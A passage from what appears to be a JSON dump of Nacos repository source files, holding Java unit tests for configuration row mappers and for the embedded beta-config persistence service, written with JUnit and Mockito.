Mockito.when(resultSet.getString(eq(\"data_id\"))).thenReturn(preConfig.getDataId());\n        Mockito.when(resultSet.getString(eq(\"group_id\"))).thenReturn(preConfig.getGroup());\n        Mockito.when(resultSet.getString(eq(\"tenant_id\"))).thenReturn(preConfig.getTenant());\n        Mockito.when(resultSet.getString(eq(\"gray_name\"))).thenReturn(preConfig.getGrayName());\n        Mockito.when(resultSet.getString(eq(\"app_name\"))).thenReturn(preConfig.getAppName());\n        \n        Mockito.when(resultSet.getString(eq(\"gray_rule\"))).thenReturn(preConfig.getGrayRule());\n        Mockito.when(resultSet.getTimestamp(eq(\"gmt_modified\"))).thenReturn(timestamp);\n        \n        Mockito.when(resultSet.getString(eq(\"content\"))).thenReturn(preConfig.getContent());\n        Mockito.when(resultSet.getString(eq(\"app\"))).thenReturn(preConfig.getAppName());\n        Mockito.when(resultSet.getString(eq(\"encrypted_data_key\"))).thenReturn(preConfig.getEncryptedDataKey());\n        \n        ConfigRowMapperInjector.ConfigInfoGrayWrapperRowMapper configInfoWrapperRowMapper =\n                new ConfigRowMapperInjector.ConfigInfoGrayWrapperRowMapper();\n        \n        ConfigInfoGrayWrapper configInfoWrapper = configInfoWrapperRowMapper.mapRow(resultSet, 10);\n        assertEquals(preConfig, configInfoWrapper);\n        assertEquals(timestamp.getTime(), configInfoWrapper.getLastModified());\n        \n    }\n    \n    @Test\n    void testConfigInfoChangedRowMapper() throws SQLException {\n        \n        ConfigInfoChanged preConfig = new ConfigInfoChanged();\n        preConfig.setDataId(\"testDataId\");\n        preConfig.setGroup(\"group_id11\");\n        preConfig.setTenant(\"tenang34567890\");\n        ResultSetImpl resultSet = Mockito.mock(ResultSetImpl.class);\n        Mockito.when(resultSet.getString(eq(\"data_id\"))).thenReturn(preConfig.getDataId());\n        Mockito.when(resultSet.getString(eq(\"group_id\"))).thenReturn(preConfig.getGroup());\n        Mockito.when(resultSet.getString(eq(\"tenant_id\"))).thenReturn(preConfig.getTenant());\n        ConfigInfoChangedRowMapper configInfoWrapperRowMapper = new ConfigInfoChangedRowMapper();\n        ConfigInfoChanged configInfoWrapper = configInfoWrapperRowMapper.mapRow(resultSet, 10);\n        assertEquals(preConfig, configInfoWrapper);\n        \n    }\n    \n    @Test\n    void testConfigHistoryRowMapper() throws SQLException {\n        \n        ConfigHistoryInfo preConfig = new ConfigHistoryInfo();\n        preConfig.setDataId(\"testDataId\");\n        preConfig.setGroup(\"group_id11\");\n        preConfig.setTenant(\"tenant_id11111\");\n        preConfig.setId(1243567898L);\n        preConfig.setAppName(\"app_name11111\");\n        preConfig.setSrcIp(\"srciprtyui\");\n        preConfig.setSrcUser(\"234567890user\");\n        preConfig.setOpType(\"D2345678\");\n        preConfig.setCreatedTime(new Timestamp(System.currentTimeMillis()));\n        preConfig.setLastModifiedTime(new Timestamp(System.currentTimeMillis()));\n        ResultSetImpl resultSet = Mockito.mock(ResultSetImpl.class);\n        Mockito.when(resultSet.getString(eq(\"data_id\"))).thenReturn(preConfig.getDataId());\n        Mockito.when(resultSet.getString(eq(\"group_id\"))).thenReturn(preConfig.getGroup());\n        Mockito.when(resultSet.getString(eq(\"tenant_id\"))).thenReturn(preConfig.getTenant());\n        Mockito.when(resultSet.getString(eq(\"app_name\"))).thenReturn(preConfig.getAppName());\n        Mockito.when(resultSet.getString(eq(\"op_type\"))).thenReturn(preConfig.getOpType());\n        Mockito.when(resultSet.getString(eq(\"src_user\"))).thenReturn(preConfig.getSrcUser());\n        Mockito.when(resultSet.getLong(eq(\"nid\"))).thenReturn(preConfig.getId());\n        Mockito.when(resultSet.getString(eq(\"src_ip\"))).thenReturn(preConfig.getSrcIp());\n        Mockito.when(resultSet.getTimestamp(eq(\"gmt_modified\"))).thenReturn(preConfig.getLastModifiedTime());\n        Mockito.when(resultSet.getTimestamp(eq(\"gmt_create\"))).thenReturn(preConfig.getCreatedTime());\n        ConfigRowMapperInjector.ConfigHistoryRowMapper configInfoWrapperRowMapper = new ConfigRowMapperInjector.ConfigHistoryRowMapper();\n        \n        ConfigHistoryInfo configInfoWrapper = configInfoWrapperRowMapper.mapRow(resultSet, 10);\n        assertEquals(preConfig, configInfoWrapper);\n        \n    }\n    \n    @Test\n    void testConfigHistoryDetailRowMapper() throws SQLException {\n        \n        ConfigHistoryInfo preConfig = new ConfigHistoryInfo();\n        preConfig.setDataId(\"testDataId\");\n        preConfig.setGroup(\"group_id11\");\n        preConfig.setTenant(\"tenant_id11111\");\n        preConfig.setId(1243567898L);\n        preConfig.setAppName(\"app_name11111\");\n        preConfig.setContent(\"content2345678\");\n        preConfig.setMd5(\"md5234567890\");\n        preConfig.setSrcIp(\"srciprtyui\");\n        preConfig.setSrcUser(\"234567890user\");\n        preConfig.setOpType(\"D2345678\");\n        preConfig.setCreatedTime(new Timestamp(System.currentTimeMillis()));\n        preConfig.setLastModifiedTime(new Timestamp(System.currentTimeMillis()));\n        preConfig.setContent(\"content1123434t\");\n        preConfig.setMd5(\"md54567\");\n        preConfig.setEncryptedDataKey(\"key3456789\");\n        ResultSetImpl resultSet = Mockito.mock(ResultSetImpl.class);\n        Mockito.when(resultSet.getString(eq(\"data_id\"))).thenReturn(preConfig.getDataId());\n        Mockito.when(resultSet.getString(eq(\"group_id\"))).thenReturn(preConfig.getGroup());\n        Mockito.when(resultSet.getString(eq(\"tenant_id\"))).thenReturn(preConfig.getTenant());\n        Mockito.when(resultSet.getString(eq(\"app_name\"))).thenReturn(preConfig.getAppName());\n        Mockito.when(resultSet.getString(eq(\"op_type\"))).thenReturn(preConfig.getOpType());\n        Mockito.when(resultSet.getString(eq(\"src_user\"))).thenReturn(preConfig.getSrcUser());\n        Mockito.when(resultSet.getString(eq(\"content\"))).thenReturn(preConfig.getContent());\n        Mockito.when(resultSet.getString(eq(\"md5\"))).thenReturn(preConfig.getMd5());\n        Mockito.when(resultSet.getString(eq(\"encrypted_data_key\"))).thenReturn(preConfig.getEncryptedDataKey());\n        Mockito.when(resultSet.getLong(eq(\"nid\"))).thenReturn(preConfig.getId());\n        Mockito.when(resultSet.getString(eq(\"src_ip\"))).thenReturn(preConfig.getSrcIp());\n        Mockito.when(resultSet.getTimestamp(eq(\"gmt_modified\"))).thenReturn(preConfig.getLastModifiedTime());\n        Mockito.when(resultSet.getTimestamp(eq(\"gmt_create\"))).thenReturn(preConfig.getCreatedTime());\n        \n        ConfigHistoryDetailRowMapper configInfoWrapperRowMapper = new ConfigHistoryDetailRowMapper();\n        ConfigHistoryInfo configInfoWrapper = configInfoWrapperRowMapper.mapRow(resultSet, 10);\n        assertEquals(preConfig, configInfoWrapper);\n        \n    }\n    \n    @Test\n    void testConfigInfoStateWrapperRowMapper() throws SQLException {\n        \n        ConfigInfoStateWrapper preConfig = new ConfigInfoStateWrapper();\n        preConfig.setDataId(\"testDataId\");\n        preConfig.setGroup(\"group_id11\");\n        preConfig.setTenant(\"tenant_id11111\");\n        preConfig.setId(1243567898L);\n        ResultSetImpl resultSet = Mockito.mock(ResultSetImpl.class);\n        Mockito.when(resultSet.getString(eq(\"data_id\"))).thenReturn(preConfig.getDataId());\n        Mockito.when(resultSet.getString(eq(\"group_id\"))).thenReturn(preConfig.getGroup());\n        Mockito.when(resultSet.getString(eq(\"tenant_id\"))).thenReturn(preConfig.getTenant());\n        Mockito.when(resultSet.getTimestamp(eq(\"gmt_modified\"))).thenReturn(new Timestamp(preConfig.getLastModified()));\n        \n        Mockito.when(resultSet.getLong(eq(\"id\"))).thenReturn(preConfig.getId());\n        ConfigInfoStateWrapperRowMapper configInfoWrapperRowMapper = new ConfigInfoStateWrapperRowMapper();\n        ConfigInfoStateWrapper configInfoWrapper = configInfoWrapperRowMapper.mapRow(resultSet, 10);\n        assertEquals(preConfig, configInfoWrapper);\n        \n    }\n    \n    @Test\n    void testConfigKeyRowMapper() throws SQLException {\n        ConfigKey preConfig = new ConfigKey();\n        preConfig.setDataId(\"testDataId\");\n        preConfig.setGroup(\"group_id11\");\n        preConfig.setAppName(\"appertyui4567\");\n        ResultSetImpl resultSet = Mockito.mock(ResultSetImpl.class);\n        Mockito.when(resultSet.getString(eq(\"data_id\"))).thenReturn(preConfig.getDataId());\n        Mockito.when(resultSet.getString(eq(\"group_id\"))).thenReturn(preConfig.getGroup());\n        Mockito.when(resultSet.getString(eq(\"app_name\"))).thenReturn(preConfig.getAppName());\n        ConfigRowMapperInjector.ConfigKeyRowMapper configInfoWrapperRowMapper = new ConfigRowMapperInjector.ConfigKeyRowMapper();\n        \n        ConfigKey configInfoWrapper = configInfoWrapperRowMapper.mapRow(resultSet, 10);\n        assertEquals(preConfig, configInfoWrapper);\n        \n    }\n    \n    @Test\n    void testConfigInfoRowMapperWithDescAndTags() throws SQLException {\n        ConfigRowMapperInjector.ConfigInfoRowMapper mapper = new ConfigRowMapperInjector.ConfigInfoRowMapper();\n        ResultSetImpl resultSet = Mockito.mock(ResultSetImpl.class);\n        \n        Mockito.when(resultSet.getLong(eq(\"id\"))).thenReturn(1L);\n        Mockito.when(resultSet.getString(eq(\"data_id\"))).thenReturn(\"test.properties\");\n        Mockito.when(resultSet.getString(eq(\"group_id\"))).thenReturn(\"DEFAULT_GROUP\");\n        Mockito.when(resultSet.getString(eq(\"tenant_id\"))).thenReturn(\"public\");\n        Mockito.when(resultSet.getString(eq(\"app_name\"))).thenReturn(\"testApp\");\n        Mockito.when(resultSet.getString(eq(\"content\"))).thenReturn(\"key=value\");\n        Mockito.when(resultSet.getString(eq(\"md5\"))).thenReturn(\"abc123\");\n        Mockito.when(resultSet.getString(eq(\"type\"))).thenReturn(\"properties\");\n        Mockito.when(resultSet.getString(eq(\"encrypted_data_key\"))).thenReturn(\"encKey\");\n        Mockito.when(resultSet.getString(eq(\"c_desc\"))).thenReturn(\"测试配置描述\");\n        Mockito.when(resultSet.getString(eq(\"config_tags\"))).thenReturn(\"tag1,tag2,tag3\");\n        \n        ConfigInfo configInfo = mapper.mapRow(resultSet, 1);\n        \n        assertEquals(1L, configInfo.getId());\n        assertEquals(\"test.properties\", configInfo.getDataId());\n        assertEquals(\"DEFAULT_GROUP\", configInfo.getGroup());\n        assertEquals(\"public\", configInfo.getTenant());\n        assertEquals(\"testApp\", configInfo.getAppName());\n        assertEquals(\"key=value\", configInfo.getContent());\n        assertEquals(\"abc123\", configInfo.getMd5());\n        assertEquals(\"properties\", configInfo.getType());\n        assertEquals(\"encKey\", configInfo.getEncryptedDataKey());\n        assertEquals(\"测试配置描述\", configInfo.getDesc());\n        assertEquals(\"tag1,tag2,tag3\", configInfo.getConfigTags());\n    }\n    \n    @Test\n    void testConfigInfoRowMapperWithNullDescAndTags() throws SQLException {\n        ConfigRowMapperInjector.ConfigInfoRowMapper mapper = new ConfigRowMapperInjector.ConfigInfoRowMapper();\n        ResultSetImpl resultSet = Mockito.mock(ResultSetImpl.class);\n        \n        Mockito.when(resultSet.getLong(eq(\"id\"))).thenReturn(1L);\n        Mockito.when(resultSet.getString(eq(\"data_id\"))).thenReturn(\"test.properties\");\n        Mockito.when(resultSet.getString(eq(\"group_id\"))).thenReturn(\"DEFAULT_GROUP\");\n        Mockito.when(resultSet.getString(eq(\"tenant_id\"))).thenReturn(\"public\");\n        Mockito.when(resultSet.getString(eq(\"app_name\"))).thenReturn(\"testApp\");\n        Mockito.when(resultSet.getString(eq(\"content\"))).thenReturn(\"key=value\");\n        Mockito.when(resultSet.getString(eq(\"md5\"))).thenReturn(\"abc123\");\n        Mockito.when(resultSet.getString(eq(\"type\"))).thenReturn(\"properties\");\n        Mockito.when(resultSet.getString(eq(\"encrypted_data_key\"))).thenReturn(\"encKey\");\n        Mockito.when(resultSet.getString(eq(\"c_desc\"))).thenReturn(null);\n        Mockito.when(resultSet.getString(eq(\"config_tags\"))).thenReturn(null);\n        \n        ConfigInfo configInfo = mapper.mapRow(resultSet, 1);\n        \n        assertEquals(1L, configInfo.getId());\n        assertEquals(\"test.properties\", configInfo.getDataId());\n        assertEquals(\"DEFAULT_GROUP\", configInfo.getGroup());\n        assertEquals(\"public\", configInfo.getTenant());\n        assertEquals(\"testApp\", configInfo.getAppName());\n        assertEquals(\"key=value\", configInfo.getContent());\n        assertEquals(\"abc123\", configInfo.getMd5());\n        assertEquals(\"properties\", configInfo.getType());\n        assertEquals(\"encKey\", configInfo.getEncryptedDataKey());\n        assertEquals(null, configInfo.getDesc());\n        assertEquals(null, configInfo.getConfigTags());\n    }\n    \n    @Test\n    void testConfigInfoRowMapperBackwardCompatibility() throws SQLException {\n        ConfigRowMapperInjector.ConfigInfoRowMapper mapper = new ConfigRowMapperInjector.ConfigInfoRowMapper();\n        ResultSetImpl resultSet = Mockito.mock(ResultSetImpl.class);\n        \n        // 模拟旧版本数据库，没有 c_desc 和 config_tags 字段\n        Mockito.when(resultSet.getLong(eq(\"id\"))).thenReturn(1L);\n        Mockito.when(resultSet.getString(eq(\"data_id\"))).thenReturn(\"test.properties\");\n        Mockito.when(resultSet.getString(eq(\"group_id\"))).thenReturn(\"DEFAULT_GROUP\");\n        Mockito.when(resultSet.getString(eq(\"tenant_id\"))).thenReturn(\"public\");\n        Mockito.when(resultSet.getString(eq(\"app_name\"))).thenReturn(\"testApp\");\n        Mockito.when(resultSet.getString(eq(\"content\"))).thenReturn(\"key=value\");\n        Mockito.when(resultSet.getString(eq(\"md5\"))).thenReturn(\"abc123\");\n        Mockito.when(resultSet.getString(eq(\"type\"))).thenReturn(\"properties\");\n        Mockito.when(resultSet.getString(eq(\"encrypted_data_key\"))).thenReturn(\"encKey\");\n        \n        // 模拟字段不存在的情况\n        Mockito.when(resultSet.getString(eq(\"c_desc\"))).thenThrow(new SQLException(\"Column 'c_desc' not found\"));\n        Mockito.when(resultSet.getString(eq(\"config_tags\"))).thenThrow(new SQLException(\"Column 'config_tags' not found\"));\n        \n        ConfigInfo configInfo = mapper.mapRow(resultSet, 1);\n        \n        assertEquals(1L, configInfo.getId());\n        assertEquals(\"test.properties\", configInfo.getDataId());\n        assertEquals(\"DEFAULT_GROUP\", configInfo.getGroup());\n        assertEquals(\"public\", configInfo.getTenant());\n        assertEquals(\"testApp\", configInfo.getAppName());\n        assertEquals(\"key=value\", configInfo.getContent());\n        assertEquals(\"abc123\", configInfo.getMd5());\n        assertEquals(\"properties\", configInfo.getType());\n        assertEquals(\"encKey\", configInfo.getEncryptedDataKey());\n        // 新字段应该为 null，保证向后兼容\n        assertEquals(null, configInfo.getDesc());\n        assertEquals(null, configInfo.getConfigTags());\n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/repository/embedded/EmbeddedConfigInfoBetaPersistServiceImplTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.embedded;\n\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoBetaWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.persistence.repository.embedded.EmbeddedStorageContextHolder;\nimport com.alibaba.nacos.persistence.repository.embedded.operate.DatabaseOperate;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_BETA_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.when;\n\n/**\n * test for embedded config beta.\n *\n * @author shiyiyue\n */\n@ExtendWith(SpringExtension.class)\nclass EmbeddedConfigInfoBetaPersistServiceImplTest {\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    MockedStatic<EmbeddedStorageContextHolder> embeddedStorageContextHolderMockedStatic;\n    \n    MockedStatic<DynamicDataSource> dynamicDataSourceMockedStatic;\n    \n    @Mock\n    DynamicDataSource dynamicDataSource;\n    \n    @Mock\n    DatabaseOperate databaseOperate;\n    \n    private EmbeddedConfigInfoBetaPersistServiceImpl embeddedConfigInfoBetaPersistService;\n    \n    @Mock\n    private DataSourceService dataSourceService;\n    \n    @BeforeEach\n    void before() {\n        embeddedStorageContextHolderMockedStatic = Mockito.mockStatic(EmbeddedStorageContextHolder.class);\n        dynamicDataSourceMockedStatic = Mockito.mockStatic(DynamicDataSource.class);\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        when(DynamicDataSource.getInstance()).thenReturn(dynamicDataSource);\n        when(dynamicDataSource.getDataSource()).thenReturn(dataSourceService);\n        when(dataSourceService.getDataSourceType()).thenReturn(\"derby\");\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(anyString(), eq(Boolean.class), eq(false))).thenReturn(false);\n        embeddedConfigInfoBetaPersistService = new EmbeddedConfigInfoBetaPersistServiceImpl(databaseOperate);\n    }\n    \n    @AfterEach\n    void after() {\n        dynamicDataSourceMockedStatic.close();\n        envUtilMockedStatic.close();\n        embeddedStorageContextHolderMockedStatic.close();\n    }\n    \n    @Test\n    void testInsertOrUpdateBetaOfUpdate() {\n        String dataId = \"betaDataId113\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        //mock exist beta\n        ConfigInfoStateWrapper mockedConfigInfoStateWrapper = new ConfigInfoStateWrapper();\n        mockedConfigInfoStateWrapper.setDataId(dataId);\n        mockedConfigInfoStateWrapper.setGroup(group);\n        mockedConfigInfoStateWrapper.setTenant(tenant);\n        mockedConfigInfoStateWrapper.setId(123456L);\n        mockedConfigInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        Mockito.when(\n                        databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant}), eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER)))\n                .thenReturn(mockedConfigInfoStateWrapper, mockedConfigInfoStateWrapper);\n        //execute\n        String betaIps = \"betaips...\";\n        String srcIp = \"srcUp...\";\n        String srcUser = \"srcUser...\";\n        String appName = \"appname\";\n        String content = \"content111\";\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key34567\");\n        ConfigOperateResult configOperateResult = embeddedConfigInfoBetaPersistService.insertOrUpdateBeta(configInfo, betaIps, srcIp,\n                srcUser);\n        //expect return obj\n        assertEquals(mockedConfigInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(mockedConfigInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n        //verify update to be invoked\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), eq(configInfo.getContent()),\n                        eq(configInfo.getMd5()), eq(betaIps), eq(srcIp), eq(srcUser), eq(configInfo.getAppName()),\n                        eq(configInfo.getEncryptedDataKey()), eq(dataId), eq(group), eq(tenant)), times(1));\n    }\n    \n    @Test\n    void testInsertOrUpdateBetaOfAdd() {\n        String dataId = \"betaDataId113\";\n        String group = \"group113\";\n        String tenant = \"tenant113\";\n        //mock exist beta\n        ConfigInfoStateWrapper mockedConfigInfoStateWrapper = new ConfigInfoStateWrapper();\n        mockedConfigInfoStateWrapper.setDataId(dataId);\n        mockedConfigInfoStateWrapper.setGroup(group);\n        mockedConfigInfoStateWrapper.setTenant(tenant);\n        mockedConfigInfoStateWrapper.setId(123456L);\n        mockedConfigInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        Mockito.when(\n                        databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant}), eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER)))\n                .thenReturn(null).thenReturn(mockedConfigInfoStateWrapper);\n        \n        String betaIps = \"betaips...\";\n        String srcIp = \"srcUp...\";\n        String srcUser = \"srcUser...\";\n        String appName = \"appname\";\n        String content = \"content111\";\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key34567\");\n        //execute\n        ConfigOperateResult configOperateResult = embeddedConfigInfoBetaPersistService.insertOrUpdateBeta(configInfo, betaIps, srcIp,\n                srcUser);\n        //expect return obj\n        assertEquals(mockedConfigInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(mockedConfigInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n        //verify add to be invoked\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), eq(dataId), eq(group), eq(tenant),\n                        eq(configInfo.getAppName()), eq(configInfo.getContent()), eq(configInfo.getMd5()),\n                        eq(betaIps), eq(srcIp), eq(srcUser), eq(configInfo.getEncryptedDataKey())), times(1));\n    }\n    \n    @Test\n    void testInsertOrUpdateBetaCasOfUpdate() {\n        String dataId = \"betaDataId113\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        //mock exist beta\n        ConfigInfoStateWrapper mockedConfigInfoStateWrapper = new ConfigInfoStateWrapper();\n        mockedConfigInfoStateWrapper.setDataId(dataId);\n        mockedConfigInfoStateWrapper.setGroup(group);\n        mockedConfigInfoStateWrapper.setTenant(tenant);\n        mockedConfigInfoStateWrapper.setId(123456L);\n        mockedConfigInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        Mockito.when(\n                        databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant}), eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER)))\n                .thenReturn(mockedConfigInfoStateWrapper, mockedConfigInfoStateWrapper);\n        \n        //execute\n        \n        String appName = \"appname\";\n        String content = \"content111\";\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key34567\");\n        configInfo.setMd5(\"casMd5\");\n        //mock cas update\n        Mockito.when(databaseOperate.blockUpdate()).thenReturn(true);\n        String betaIps = \"betaips...\";\n        String srcIp = \"srcUp...\";\n        String srcUser = \"srcUser...\";\n        ConfigOperateResult configOperateResult = embeddedConfigInfoBetaPersistService.insertOrUpdateBetaCas(configInfo, betaIps, srcIp,\n                srcUser);\n        //expect return obj\n        assertEquals(mockedConfigInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(mockedConfigInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n        //verify cas update to be invoked\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), eq(configInfo.getContent()),\n                        eq(MD5Utils.md5Hex(content, Constants.PERSIST_ENCODE)), eq(betaIps), eq(srcIp), eq(srcUser),\n                        eq(appName), eq(dataId), eq(group), eq(tenant), eq(configInfo.getMd5())), times(1));\n        \n    }\n    \n    @Test\n    void testInsertOrUpdateBetaCasOfAdd() {\n        String dataId = \"betaDataId113\";\n        String group = \"group113\";\n        String tenant = \"tenant113\";\n        //mock exist beta\n        ConfigInfoStateWrapper mockedConfigInfoStateWrapper = new ConfigInfoStateWrapper();\n        mockedConfigInfoStateWrapper.setDataId(dataId);\n        mockedConfigInfoStateWrapper.setGroup(group);\n        mockedConfigInfoStateWrapper.setTenant(tenant);\n        mockedConfigInfoStateWrapper.setId(123456L);\n        mockedConfigInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        Mockito.when(\n                        databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant}), eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER)))\n                .thenReturn(null).thenReturn(mockedConfigInfoStateWrapper);\n        \n        String betaIps = \"betaips...\";\n        String srcIp = \"srcUp...\";\n        String srcUser = \"srcUser...\";\n        String appName = \"appname\";\n        String content = \"content111\";\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key34567\");\n        //execute\n        ConfigOperateResult configOperateResult = embeddedConfigInfoBetaPersistService.insertOrUpdateBetaCas(configInfo, betaIps, srcIp,\n                srcUser);\n        //expect return obj\n        assertEquals(mockedConfigInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(mockedConfigInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n        //verify add to be invoked\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), eq(dataId), eq(group), eq(tenant),\n                        eq(configInfo.getAppName()), eq(configInfo.getContent()), eq(configInfo.getMd5()),\n                        eq(betaIps), eq(srcIp), eq(srcUser), eq(configInfo.getEncryptedDataKey())), times(1));\n        \n    }\n    \n    @Test\n    void testRemoveConfigInfo4Beta() {\n        String dataId = \"dataId456789\";\n        String group = \"group4567\";\n        String tenant = \"tenant56789o0\";\n        //mock exist beta\n        ConfigInfoStateWrapper mockedConfigInfoStateWrapper = new ConfigInfoStateWrapper();\n        mockedConfigInfoStateWrapper.setDataId(dataId);\n        mockedConfigInfoStateWrapper.setGroup(group);\n        mockedConfigInfoStateWrapper.setTenant(tenant);\n        mockedConfigInfoStateWrapper.setId(123456L);\n        mockedConfigInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        Mockito.when(\n                        databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant}), eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER)))\n                .thenReturn(mockedConfigInfoStateWrapper);\n        //mock remove ok\n        Mockito.when(databaseOperate.update(any(List.class))).thenReturn(true);\n        \n        embeddedConfigInfoBetaPersistService.removeConfigInfo4Beta(dataId, group, tenant);\n        //verity\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), eq(dataId), eq(group), eq(tenant)), times(1));\n        \n    }\n    \n    @Test\n    void testFindConfigInfo4Beta() {\n        String dataId = \"dataId456789\";\n        String group = \"group4567\";\n        String tenant = \"tenant56789o0\";\n        //mock exist beta\n        ConfigInfoBetaWrapper mockedConfigInfoStateWrapper = new ConfigInfoBetaWrapper();\n        mockedConfigInfoStateWrapper.setDataId(dataId);\n        mockedConfigInfoStateWrapper.setGroup(group);\n        mockedConfigInfoStateWrapper.setTenant(tenant);\n        mockedConfigInfoStateWrapper.setId(123456L);\n        mockedConfigInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        Mockito.when(\n                        databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant}), eq(CONFIG_INFO_BETA_WRAPPER_ROW_MAPPER)))\n                .thenReturn(mockedConfigInfoStateWrapper);\n        ConfigInfoBetaWrapper configInfo4BetaReturn = embeddedConfigInfoBetaPersistService.findConfigInfo4Beta(dataId, group, tenant);\n        assertEquals(mockedConfigInfoStateWrapper, configInfo4BetaReturn);\n        \n    }\n    \n    @Test\n    void testConfigInfoBetaCount() {\n        Mockito.when(databaseOperate.queryOne(anyString(), eq(Integer.class))).thenReturn(101);\n        int returnCount = embeddedConfigInfoBetaPersistService.configInfoBetaCount();\n        assertEquals(101, returnCount);\n    }\n    \n    @Test\n    void testFindAllConfigInfoBetaForDumpAll() {\n        //mock count\n        Mockito.when(databaseOperate.queryOne(anyString(), eq(Integer.class))).thenReturn(12345);\n        \n        //mock page list\n        List<ConfigInfoBetaWrapper> mockList = new ArrayList<>();\n        mockList.add(new ConfigInfoBetaWrapper());\n        mockList.add(new ConfigInfoBetaWrapper());\n        mockList.add(new ConfigInfoBetaWrapper());\n        mockList.get(0).setLastModified(System.currentTimeMillis());\n        mockList.get(1).setLastModified(System.currentTimeMillis());\n        mockList.get(2).setLastModified(System.currentTimeMillis());\n        \n        Mockito.when(databaseOperate.queryMany(anyString(), eq(new Object[] {}), eq(CONFIG_INFO_BETA_WRAPPER_ROW_MAPPER)))\n                .thenReturn(mockList);\n        \n        int pageNo = 1;\n        int pageSize = 101;\n        Mockito.when(databaseOperate.queryOne(anyString(), eq(Integer.class))).thenReturn(101);\n        //execute & expect\n        Page<ConfigInfoBetaWrapper> pageReturn = embeddedConfigInfoBetaPersistService.findAllConfigInfoBetaForDumpAll(pageNo, pageSize);\n        assertEquals(mockList, pageReturn.getPageItems());\n        assertEquals(101, pageReturn.getTotalCount());\n        \n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/repository/embedded/EmbeddedConfigInfoGrayPersistServiceImplTest.java",
